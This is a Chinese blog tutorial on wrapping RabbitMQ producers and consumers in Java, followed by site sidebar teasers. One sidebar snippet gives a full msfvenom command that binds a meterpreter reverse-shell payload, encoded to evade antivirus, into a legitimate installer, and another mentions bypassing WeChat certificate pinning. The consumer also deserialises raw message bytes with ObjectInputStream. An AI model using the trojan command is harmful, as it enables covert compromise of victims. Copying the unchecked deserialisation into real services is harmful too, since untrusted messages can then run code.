消息中间件之RabbitMQ使用

无需Root!安卓模拟器+BurpSuite轻松搞定微信小程序抓包 本文详细介绍了如何在不root安卓设备的情况下,使用安卓模拟器和BurpSuite实现微信小程序抓包。通过夜神模拟器降级安卓版本、配置BurpSuite代理及安装证书等步骤,开发者可以轻松绕过微信的证书绑定,高效抓取小程序数据包。文章还提供了常见问题排查和高阶技巧,帮助开发者提升抓包效率。 阅读详情



声明: 在本文以及本系列文中, 不会涉及公司内部相关内容,旨在能帮助到努力前进的人
本系列会依次涉及到ActiveMQ, RabbitMQ, kafka, RocketMQ

简介

什么是消息中间件?
一个进行消息传递的组件, 好比一个快递, 当你上网购买了一个东西, 传统方式是店家--------->顾客,也就是店家直接把东西给你送过来. 那么消息中间件就是店家------>快递------>顾客这种方式.

消息中间件的优势?
数据传递, 系统间解耦, 错峰 …

我们在设计一套系统的时候, 有些时候会面临一些例如业务处理逻辑耗时长, 并发请求压力大等等问题. 有些时候我们通过优化代码或者横向扩展等等方式也可以解决一些问题. 那么我们除了采用上面的方式之外,还可以使用消息中间件的优势来优雅的帮助我们解决一些问题.

本文涉及到的是使用比较广泛的消息中间件之一RabbitMQ

RabbitMQ

开发语言:Erlang – 面向并发的编程语言
支持多种客户端,如:Python、Ruby、.NET、Java、JMS、C、PHP、ActionScript、XMPP、STOMP等,支持AJAX。用于在分布式系统中存储转发消息,在易用性、扩展性、高可用性等方面表现不俗.

运行模式

  • 简单队列
  • work模式
  • 发布\订阅模式
  • 路由模式
  • 主题模式

以上便是它所支持的五种消息传递模式, 除此之外,他还有一种支持RPC调用的方式.
关于它的一些基础知识, 我们就介绍到这里了, 如果你还想具体的了解其他的概念或者详细的信息, 可以通过官网查看, 笔者这里不再赘述.

生产者封装

基本概念介绍完了, 我们接下来要对生产者和消费者进行一个封装, 大致的逻辑如下:

  • 首先连接上MQ
  • 然后封装一个将Object转字节码的方法
  • 最后根据想要的发送数据的模式, 进行发送数据即可.

import com.rabbitmq.client.Channel;
import com.rabbitmq.client.Connection;
import com.rabbitmq.client.ConnectionFactory;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeoutException;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;


/**
 * @Title RabbitMQProducer
 * @author GuoQ.yin
 */
public class RabbitMQProducer {
	private static Logger logger = LoggerFactory.getLogger(RabbitMQProducer.class);
    private Connection connection = null;
    private Channel channel = null;
    
	private String rabbitHost;  //rabbitMQ地址
	private String userName; //用户名
	private String passWord; //密码
    
    
    public RabbitMQProducer(String rabbitHost, String userName, String passWord) {
		this.rabbitHost = rabbitHost;
		this.userName = userName;
		this.passWord = passWord;
		getConnection();
	}

	/*
	 * 获取连接
	 * */
	private void getConnection() {
        if(connection == null) {
            ConnectionFactory connectionFactory = new ConnectionFactory();
            connectionFactory.setHost(rabbitHost);
            connectionFactory.setUsername(userName);
            connectionFactory.setPassword(passWord);
            connectionFactory.setAutomaticRecoveryEnabled(true);
            try {
                connection = connectionFactory.newConnection();
                channel = connection.createChannel();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (TimeoutException e) {
                e.printStackTrace();
            }
        }
    }
    
	
	/**
	  * 简单模式发送消息
	 * @param String queueName 队列名称
	 * @param Object sendData 发送数据
	 * 
	 * */
    public void sendForSimpleQueue(String queueName, Object sendData) throws IOException, TimeoutException {
        channel.queueDeclare(queueName,false,false,false,null);
        channel.basicPublish("",queueName,null, RabbitMQProducer.toByteArray(sendData));
        logger.debug("send----->>> " + String.valueOf(sendData));
//        channel.close();
//        connection.close();
    }
    
    
    
    /**
	  * 订阅模式发送消息
	 * @param String exchangeName 交换机名称
	 * @param Object sendData 发送数据
	 * 
	 * */
    public void sendForSubScribe(String exchangeName, Object sendData) throws IOException {
	    channel.exchangeDeclare(exchangeName,"fanout", true,true,null);
        channel.basicPublish(exchangeName,"",null,String.valueOf(sendData).getBytes());
        logger.debug("send----->>> " + String.valueOf(sendData));
    }
    
    
    
    /**
	  * 路由模式发送消息
	 * @param String exchangeName 交换机名称
	 * @param String routingKey 路由键
	 * @param Object sendData 发送数据
	 * 
	 * */
    public void SendForRouting(String exchangeName, String routingKey, Object sendData) throws IOException {
        channel.exchangeDeclare(exchangeName, "direct");
        channel.basicPublish(exchangeName, routingKey, null, String.valueOf(sendData).getBytes());
        logger.debug("send----->>> " + String.valueOf(sendData));
    }
    
    
    
    
    /**
	  * topics模式模式发送消息
	 * @param String exchangeName 交换机名称
	 * @param String routingKey 路由键(# 表示匹配一个或多个词;(lazy.a.b.c),  表示匹配一个词;(a.orange.b))
	 * @param Object sendData 发送数据
	 * 
	 * */
    public void SendForTopics(String exchangeName, String routingKey, Object sendData) throws IOException {
        channel.exchangeDeclare(exchangeName,"topic");
     
        channel.basicPublish(exchangeName,routingKey,false,false,null,String.valueOf(sendData).getBytes());
        logger.debug("send----->>> " + String.valueOf(sendData));
    }
    
    
    
    /**  
        * 对象转数组  
     * @param obj  
     * @return  
     */  
    public static byte[] toByteArray (Object obj) {      
        byte[] bytes = null;      
        ByteArrayOutputStream bos = new ByteArrayOutputStream();      
        try {        
            ObjectOutputStream oos = new ObjectOutputStream(bos);         
            oos.writeObject(obj);        
            oos.flush();         
            bytes = bos.toByteArray ();      
            oos.close();         
            bos.close();        
        } catch (IOException ex) {        
            ex.printStackTrace();   
        }      
        return bytes;    
    }   
    
    
    
    //调用示例
    public static void main(String[] args) throws IOException, TimeoutException, InterruptedException {
    	RabbitMQProducer RMQ = new RabbitMQProducer("192.168.1.162", "test", "test");
    	List<Map<String, Object>> sendList = new ArrayList<Map<String,Object>>();
    	Map<String, Object> sendMap = new HashMap<String, Object>();
    	sendMap.put("hello", "world");
    	sendList.add(sendMap);
    	RMQ.sendForSimpleQueue("haha", sendList);
    }
}

消费者封装

因为要封装一个工具类, 所以要通用. 在rabbitmq接收数据的时候, 代码会一直停留在他获取数据的那一块, 所以我们会先封装一个父类(声明一个队列), 然后让消费者的封装类,继承父类, 然后每次我们消费者获取到放到我们自己的队列里, 然后我们在从队列里面获取数据, 这样也不会阻塞原有的数据接收.

父类


import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue;

public abstract class AbstractReceiver implements Runnable {
	private static Logger logger = LoggerFactory.getLogger(AbstractReceiver.class);
	
	private int MAX_QUEUE_SIZE = 100000;
	
	protected BlockingQueue<Object> queue = new LinkedBlockingQueue<Object>(MAX_QUEUE_SIZE);
	
	public Object getData() {
		try {
			Object data = queue.take();
			logger.debug("take que, queue size=" + queue.size());
			return data;
		} catch (Exception exp) {
			logger.error("getData error", exp);
			return null;
		}
	}
	
	protected void putData(Object data) {
		try {
			queue.put(data); 
			logger.debug("put que, queue size=" + queue.size());
		} catch (Exception exp) {
			logger.error("putData error", exp);
		}
	}
	
	public int getDataSize(){
		int size = queue.size();
		return size;
	}
}

消费者类


import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.concurrent.TimeoutException;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import com.rabbitmq.client.Channel;
import com.rabbitmq.client.Connection;
import com.rabbitmq.client.ConnectionFactory;
import com.rabbitmq.client.DefaultConsumer;
import com.rabbitmq.client.Envelope;
import com.rabbitmq.client.AMQP.BasicProperties;


/**
 * @Title RabbitMQReceiver
 * @author GuoQ.yin
 */
public class RabbitMqReceiver extends AbstractReceiver{
	
	private static Logger logger = LoggerFactory.getLogger(RabbitMqReceiver.class);
    private static Connection connection = null; //连接
    private static Channel channel = null; //通道
    
    private static RabbitMqReceiver rabbitMq = null;
    private static boolean ackFlag = true;
    
	private static String rabbitHost;  //rabbitMQ地址
	private static String userName; //用户名
	private static String passWord; //密码
	private static String queueName; //队列名称
	private static String exchangeName; //交换机名称
    private static String routingKey; //路由键
    private static String routingMode; //路由模式  fanout  direct  topic  
    
    
    /**简单模式
     * @param rabbitHost rabbitMQ地址
     * @param userName 用户名
     * @param passWord 密码
     * @param queueName 队列名称
     * */
    public static RabbitMqReceiver getInstance(String rabbitHost, String userName, String passWord, String queueName) {
    	if(rabbitMq == null) {
    		rabbitMq = new RabbitMqReceiver(rabbitHost, userName, passWord, queueName);
    	}
    	getConnection();
    	return rabbitMq;
    }
    
    
    /**订阅模式
     * @param rabbitHost rabbitMQ地址
     * @param userName 用户名
     * @param passWord 密码
     * @param queueName 队列名称
     * @param exchangeName 交换机名称
     * */
    public static RabbitMqReceiver getInstance(String rabbitHost, String userName, String passWord, String queueName, String exchangeName) {
    	if(rabbitMq == null) {
    		rabbitMq = new RabbitMqReceiver(rabbitHost, userName, passWord, queueName, exchangeName);
    	}
    	getConnection();
    	return rabbitMq;
    }
    
    
    /**路由模式
     * @param rabbitHost rabbitMQ地址
     * @param userName 用户名
     * @param passWord 密码
     * @param queueName 队列名称
     * @param exchangeName 交换机名称
     * @param routingKey 路由键(在topic模式下, #:表示匹配一个或多个词;(lazy.a.b.c)  *:表示匹配一个词;(a.orange.b))
     * @param routingMode 路由模式 支持 direct直接路由,  topic通配符 两种模式
     * */
    public static RabbitMqReceiver getInstance(String rabbitHost, String userName, String passWord, String queueName, String exchangeName, String routingKey, String routingMode) {
    	if(rabbitMq == null) {
    		rabbitMq = new RabbitMqReceiver(rabbitHost, userName, passWord, queueName, exchangeName, routingKey, routingMode);
    	}
    	getConnection();
    	return rabbitMq;
    }
    
    
    /**简单模式
     * @param rabbitHost rabbitMQ地址
     * @param userName 用户名
     * @param passWord 密码
     * @param queueName 队列名称
     * */
    @SuppressWarnings("static-access")
    public RabbitMqReceiver(String rabbitHost, String userName, String passWord, String queueName) {
		this.rabbitHost = rabbitHost;
		this.userName = userName;
		this.passWord = passWord;
		this.queueName = queueName;
		
	}
    
    /**订阅模式
     * @param rabbitHost rabbitMQ地址
     * @param userName 用户名
     * @param passWord 密码
     * @param queueName 队列名称
     * @param exchangeName 交换机名称
     * */
    @SuppressWarnings("static-access")
	public RabbitMqReceiver(String rabbitHost, String userName, String passWord, String queueName, String exchangeName) {
		this.rabbitHost = rabbitHost;
		this.userName = userName;
		this.passWord = passWord;
		this.queueName = queueName;
		this.exchangeName = exchangeName;
	}
    
    
    
    /**路由模式
     * @param rabbitHost rabbitMQ地址
     * @param userName 用户名
     * @param passWord 密码
     * @param queueName 队列名称
     * @param exchangeName 交换机名称
     * @param routingKey 路由键(在topic模式下, #:表示匹配一个或多个词;(lazy.a.b.c)  *:表示匹配一个词;(a.orange.b))
     * @param routingMode 路由模式 支持 direct直接路由,  topic通配符 两种模式
     * */
    @SuppressWarnings("static-access")
    public RabbitMqReceiver(String rabbitHost, String userName, String passWord, String queueName, String exchangeName, String routingKey, String routingMode) {
		this.rabbitHost = rabbitHost;
		this.userName = userName;
		this.passWord = passWord;
		this.queueName = queueName;
		this.exchangeName = exchangeName;
		this.routingKey = routingKey;
		this.routingMode = routingMode;
	}
    
    public RabbitMqReceiver() {}
	
    @Override
	public void run() {
		try {
			//单队列模式
			channel.basicQos(1);//能者多劳
			channel.queueDeclare(queueName,false,false,false,null);  //声明队列
			if(exchangeName != null) {
				if(routingMode!=null && routingKey!=null) {
					//路由模式 或者 Topics模式  #:表示匹配一个或多个词;(lazy.a.b.c)  *:表示匹配一个词;(a.orange.b)
					channel.exchangeDeclare(exchangeName, routingMode);
					channel.queueBind(queueName, exchangeName, routingKey);
				} else {
					//订阅模式
					channel.queueBind(queueName,exchangeName,"");
					ackFlag = false;
				}
			}
	        DefaultConsumer consumer = new DefaultConsumer(channel) {
	            @Override
	            public void handleDelivery(String consumerTag, Envelope envelope, BasicProperties properties, byte[] body) throws IOException {
	                super.handleDelivery(consumerTag, envelope, properties, body);
	                logger.debug("RabbitMqReceiver------->>>" + new String(body,"UTF-8"));
	                rabbitMq.putData(RabbitMqReceiver.toObject(body));
	                if(ackFlag == false) {
	                	channel.basicAck(envelope.getDeliveryTag(),false);
	                }
	            }
	        };
			channel.basicConsume(queueName,ackFlag,consumer);
			logger.info("RabbitMqReceiver BootUp Success!!");
		} catch (IOException e) {
			e.printStackTrace();
			logger.error("RabbitMqReceiver Consumer: ",e);
		}
	}
	
	
	/*
	 * 获取连接
	 * */
	private static void getConnection() {
        if(connection == null) {
            ConnectionFactory connectionFactory = new ConnectionFactory();
            connectionFactory.setHost(rabbitHost);
            connectionFactory.setUsername(userName);
            connectionFactory.setPassword(passWord);
            connectionFactory.setAutomaticRecoveryEnabled(true);
            try {
                connection = connectionFactory.newConnection();
                channel = connection.createChannel();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (TimeoutException e) {
                e.printStackTrace();
            }
        }
    }
	
	/**  
        * 数组转对象  
     * @param bytes  
     * @return  
     */  
    public static Object toObject (byte[] bytes) {      
        Object obj = null;      
        try {        
            ByteArrayInputStream bis = new ByteArrayInputStream (bytes);        
            ObjectInputStream ois = new ObjectInputStream (bis);        
            obj = ois.readObject();      
            ois.close();   
            bis.close();   
        } catch (IOException ex) {        
            ex.printStackTrace();   
        } catch (ClassNotFoundException ex) {        
            ex.printStackTrace();   
        }      
        return obj;    
    }

	//调用示例
   public static void main(String[] args) throws IOException {
//	   RabbitMqReceiver RabbitMqReceiver = getInstance("192.168.1.162", "test", "test", "haha");
//	   Thread t = new Thread(RabbitMqReceiver);
//	   t.start();
//		
//		while(true){
//			Object data = RabbitMqReceiver.getData();
//			System.out.println("getdata>>>"+((List<Map<String, Object>>) data).size());			
//		}
	}
}

以上便是针对RabbitMQ的生产者和消费者的封装, 可能有些地方还需要琢磨一下, 等有后续有时间了优化之后,笔者会第一时间更新.

最后和大家说一声: 加油~

论文阅读:arxiv 2023 EduChat: A Large-Scale Language Model-based Chatbot System for Intelligent Education EduChat是一个基于大规模语言模型(LLM)的教育领域聊天机器人系统,旨在为教师、学生和家长提供个性化、公平且富有同理心的智能教育服务。该系统通过在教育语料库上进行预训练和特定任务微调,强化了开放式问答、作文评估、苏格拉底式教学和情感支持等教育功能。为解决领域知识不足和知识更新问题,EduChat采用了检索增强技术,并融入心理学和教育学理论。该项目已开源,提供代码、数据和模型参数,推动LLM在智能教育中的应用发展。 阅读详情

相关推荐

永久关闭Windows更新的5种方法

很多家用电脑,如果系统自动更新的话,会变得越来越卡顿,且硬件型号兼容也并不完美。那么我们该如何彻底关闭Win11的自动更新呢?以下准备了5种方法,您可以根据自身实际情况选择合适的方法!

qq_43652793的博客 1万+

RabbitMQ的stream流用法(output绑定消息到达处通道 / input获取并监听该通道的消息)

rabbitmq的stream绑定流

1043

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7650

RabbitMQ - 快速入门(二)

使用stream发送和接收消息 1. 引入依赖 spring-cloud-starter-stream-rabbit 2. 配置 rabbitMq 3. 新建接口 StreamClient,分别定义 input() 和 output() 4. 接收端 5. 发送端 SpringCloud Stream 提供更方便的消息处理,达到代码层面对消息中间件的无感知的效果,支持 Rabb...

1107

手把手教你用RV1103+SC3336摄像头DIY一个离线人脸门禁原型

本文详细介绍了如何利用RV1103芯片和SC3336摄像头构建离线人脸门禁系统。从硬件选型到算法优化,再到业务逻辑实现,提供了完整的DIY指南。重点讲解了RetinaFace和FaceNet算法在嵌入式系统中的移植与调优,帮助开发者快速实现高效、隐私安全的门禁解决方案。

weixin_26905487的博客 509

Wafer的T7 Code是什么,怎么来的

在半导体Cim系统中,waferstart 业务需要支持 Sorter 读取 Wafer 的 T7 Code,与 MES 的 Wafer ID 进行绑定,以便向 前追溯 Wafer 历史,那么问题来了,T7code 是什么Wafer的T7 Code是一种,用于标识双面抛光的晶圆。这种标记采用二维矩阵代码符号,适用于各种尺寸的晶圆,不仅限于450mm无缺口晶圆7。T7 Code是衬底来料背面通常会有的供应商刻的追溯ID,这是一串数字和字母组成的流水码。

阿拉伯梳子的专栏 7926

SpringCloud Stream+RabbitMQ自定义通道

SpringCloud Stream默认的消息生产通道和消费通道分别是output和input,我们也可以自定义消息生产通道和消费通道;下面对这一过程进行记录。 1 父maven工程 1.1 工程结构如下: 1.2 pom.xml如下: &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt; &amp;lt;project xmlns=&quot;htt

mameng1988的博客 3621

从硅到氮化镓:用Sentaurus TCAD仿真GaN HEMT功率器件,我踩过的那些坑

本文分享了使用Sentaurus TCAD仿真GaN HEMT功率器件的实战经验,详细解析了从硅基到氮化镓的技术转型中遇到的五大关键挑战:材料参数设置、极化效应建模、网格划分策略、陷阱模型校准以及仿真与实测数据匹配。通过具体案例和参数优化方法,帮助工程师避开常见陷阱,提升TCAD仿真精度与效率。

weixin_28726671的博客 379

Spring Cloud Stream + RabbitMQ 消息生成和消息消费

在本 DEMO中有两个节点互为消息的生产者和消息消费者。 一、节点1 1. pom.xml &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instanc...

lixiaxin200319的博客 5669

AMDGPU驱动中Doorbell与Event机制简要对比

摘要:AMDGpu驱动中,Doorbell和Event是两种异步通知机制。Doorbell是CPU→GPU的单向硬件通知,通过写MMIO寄存器触发GPU拉取任务,延迟低且无需内核介入,适用于队列任务提交。Event是GPU→CPU的双向同步通知,基于中断和内核事件对象,支持阻塞等待,用于任务完成或异常上报。核心区别在于方向、用途和实现方式:Doorbell侧重任务触发,Event侧重状态反馈。两者配合实现高效的任务下发与完成通知流程。

图形/计算GPU的驱动与虚拟化技术分享园地 1860

Android 13.0 开机启动优化之PMS扫描apk耗时相关功能优化

在android13.0的系统rom定制化开发中,在系统中开发产品时,会根据客户要求内置第三方app,这时如果内置app过多,或者安装的app过多,在系统开机的过程中 在pms扫描安装app的时候,就会比较耗时,这时候就需要优化下pms扫描安装app这块的功能代码,用多线程来实现pms扫描安装app,来加快开机时间,接下来 来实现这个功能

安卓兼职framework和app工程师的博客 1333

rabbitmq开发记录

1.定义一个绑定类 public interface SyncSchoolBinding { String OUTPUT = "school-plan-center-syncSchool-output"; String INPUT = "school-plan-center-syncSchool-input"; /** * 消息订阅 * * @return 消息订阅 */ @Input(INPUT) Subscribable

weixin_43451374的博客 254

6、Dialogflow 开发全解析:从基础到高级应用

本文全面解析了 Dialogflow 的核心功能与高级应用,涵盖意图与实体的创建、上下文管理、后续意图设置以及高级实体类型的实际应用场景。详细介绍了自定义实体的导入导出规则、编程添加方法及数量限制,并通过流程图和实例说明了上下文生命周期与对话连贯性设计。结合电商、旅游、问卷调查等实际业务场景,展示了模糊匹配、自动扩展、复合实体等功能的强大灵活性。最后提供了开发最佳实践建议,帮助开发者构建高效、智能的对话系统。

kafka6courier的博客 104

RabbitMQ——消息中间件

一、什么是中间件? 中间件(Middleware)是处于操作系统和应用程序之间的软件。中间件是一种独立的系统软件或服务程序,分布式应用软件借助这种软件在不同的技术之间共享资源。 中间件有很多产品,比如之前学习过的缓存中间件redis,全文搜索引擎中间件ElasticSearch,消息中间件RabbitMQ、ActiveMQ、Kafka,还有数据库中间件MyCat、Sharding-JDBC等。这些统称为中间件。 二、为什么需要(消息)中间件呢? 像redis、es这些就不说了,都是为了提高搜索速度等,这里重

hl404的博客 1841

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

RabbitMQ 消息中间件与集群的部署

Kafka是LinkedIn开源的分布式发布-订阅消息系统,目前归属于Apache顶级项目。Kafka主要特点是基于Pull的模式来处理消息消费,追求高吞吐量,一开始的目的就是用于日志收集和传输。0.8版本开始支持复制,不支持事务,对消息的重复、丢失、错误没有严格要求,适合产生大量数据的互联网服务的数据收集业务。

zbw0323的博客 1947

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

RabbitMQ(消息中间件技术)

RabbitMQ笔记(Docker安装)

weixin_44861980的博客 5732

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

RabbitMQ消息中间件详解

文章目录一、初识消息中间件1.概念2.优势3.作用4.分类二、RabbitMQ高性能的原因三、AMPQ协议1.架构图2.核心概念:Exchange3.Exchange解析3.1Direct Exchange3.2Fanout Exchange 一、初识消息中间件 1.概念 消 息:信息的载体 中间件:提供 软件和软件之间 连接的软件,用于软件和软件之间的的沟通 消息中间件:软件和软件之间,发送消息的软件(负责传递消息的) 软件和硬件之间的连接是 操作系统 软件和人之间的连接是UI 软件和软件之间的连接

m0_52558112的博客 1801

RabbitMQ消息中间件学习

RabbitMQ消息中间件学习一、主流消息中间件介绍1、ActiveMQ1.1、ActiveMQ的集群架构模式2、Kafka2.1 Kafka的集群模式3、RocketMQRocketMQ集群模式4、RabbitMQ4.1 RabbitMQ的集群架构二、RabbitMQ的核心概念1、为什么互联网大厂使用RabbitMQ?2、RabbitMQ高性能的原因3、什么是AMQP高级消息队列协议AMQP协议模型4、AMQP具体的核心概念5、RabbitMQ的整体架构是什么样子的?6、RabbitMQ的消息流转三、Ra

young 1946

消息中间件RabbitMQ

1 消息中间件MQ 1.1 什么是消息中间件 ​ 消息中间件利用高效可靠的消息传递机制进行平台无关的数据交流,并基于数据通信来进行分布式系统的集成。通过提供消息传递和消息排队模型,它可以在分布式环境下扩展进程间的通信。对于消息中间件,常见的角色大致也就有Producer(生产者)、Consumer(消费者)。 消息队列中间件是分布式系统中重要的组件,主要解决应用解耦,异步消息,流量削锋等问题,实现高性能,高可用,可伸缩和最终一致性架构。 1.2 常见的消息中间件MQ 常见的消息中间件产品:

qq_43399651的博客 766

RabbitMQ 消息中间件

一、什么是消息中间件? 1、什么是消息中间件? 在分布式项目中,一个系统 A (消费者),调用另一个系统 B (提供者)去向用户发送一些成功提示消息(下单成功等)。如果我们直接让 A 去调用 B,那么会存在耦合性的问题,系统的性能也会收到局限 业务场景说明: 像这样的消息中间件(也叫消息队列)在大型电子商务类网站,如京东、淘宝、去哪儿等网站有着深入的应用,为什么会产生消息队列?有几个原因: 不同进程(process)之间传递消息时,两个进程之间耦合程度过高,改动一个进程,引发必须修改另一个进程,为了隔

qq_44704799的博客 4566

消息中间件RabbitMQ详解

2007 年发布,是一个在 AMQP(高级消息队列协议)基础上完成的,可复用的企业消息系统,是当前最主流的消息中间件之一。RabbitMQ是一个由erlang开发的AMQP(Advanced Message Queue 高级消息队列协议 )的开源实现,由于erlang 语言的高并发特性,性能较好,本质是个队列,FIFO 先入先出,里面存放的内容是messageRabbitMQ是一个消息中间件:它接受并转发消息。

每日一记,每周一结。 1573

【转载】Kafka、RabbitMQ、RocketMQ等 消息中间件 介绍和对比

在分布式系统中,我们广泛运用消息中间件进行系统间的数据交换,便于异步解耦。现在开源的消息中间件有很多,前段时间产品 RocketMQ (MetaQ的内核) 也顺利开源,得到大家的关注。MQ,Message queue,消息队列,就是指保存消息的一个容器。具体的定义这里就不类似于数据库、缓存等,用来保存数据的。当然,与数据库、缓存等产品比较,也有自己一些特点,具体的特点后文会做详细的介绍。

沙师弟专栏 2万+

RabbitMQ消息中间件介绍与安装

消息中间件也可以称消息队列,是指用高效可靠的消息传递机制进行与平台无关的数据交流,并基于数据通信来进行分布式系统的集成。通过提供消息传递和消息队列模型,可以在分布式环境下扩展进程的通信。当下主流的消息中间件有RabbitMQ、Kafka、ActiveMQ、RocketMQ等。Kafka是LinkedIn开源的分布式发布-订阅消息系统,目前归属于Apache顶级项目。Kafka主要特点是基于Pull的模式来处理消息消费,追求高吞吐量,一开始的目的就是用于日志收集和传输。

Lzcsfg的博客 1024

RabbitMQ消息中间件

消息中间件也可以称消息队列,是指用高效可靠的消息传递机制进行与平台无关的数据交流,并基于数据通信来进行分布式系统的集成。通过提供消息传递和消息队列模型,可以在分布式环境下扩展进程的通信。当下主流的消息中间件有RabbitMQ、Kafka、ActiveMQ、RocketMQ等。

weixin_67547992的博客 303

消息中间件RabbitMQ入门

消息中间件RabbitMQ入门消息中间件RabbitMQ松耦合架构的优势与传统RPC的区别如何选择消息中间件RabbitMQ属性简介 消息中间件RabbitMQ 消息中间件有时候又被人们成为消息队列,目前基本没有针对于消息中间件标准的定义。一般将消息中间件认为是松耦合的分布式系统中的一个子系统,关注于数据的发送与接收,利用高效可靠的异步消息传递机制对分布式各个子系统进行解耦和集成。 松耦合架构的优...

qq_33561065的博客 421
上一篇: MongoDB工具类(CRUD)
下一篇: Nginx(二)代理功能与负载均衡详解
GQ_YIN
博客等级 码龄11年 2321粉丝 149原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值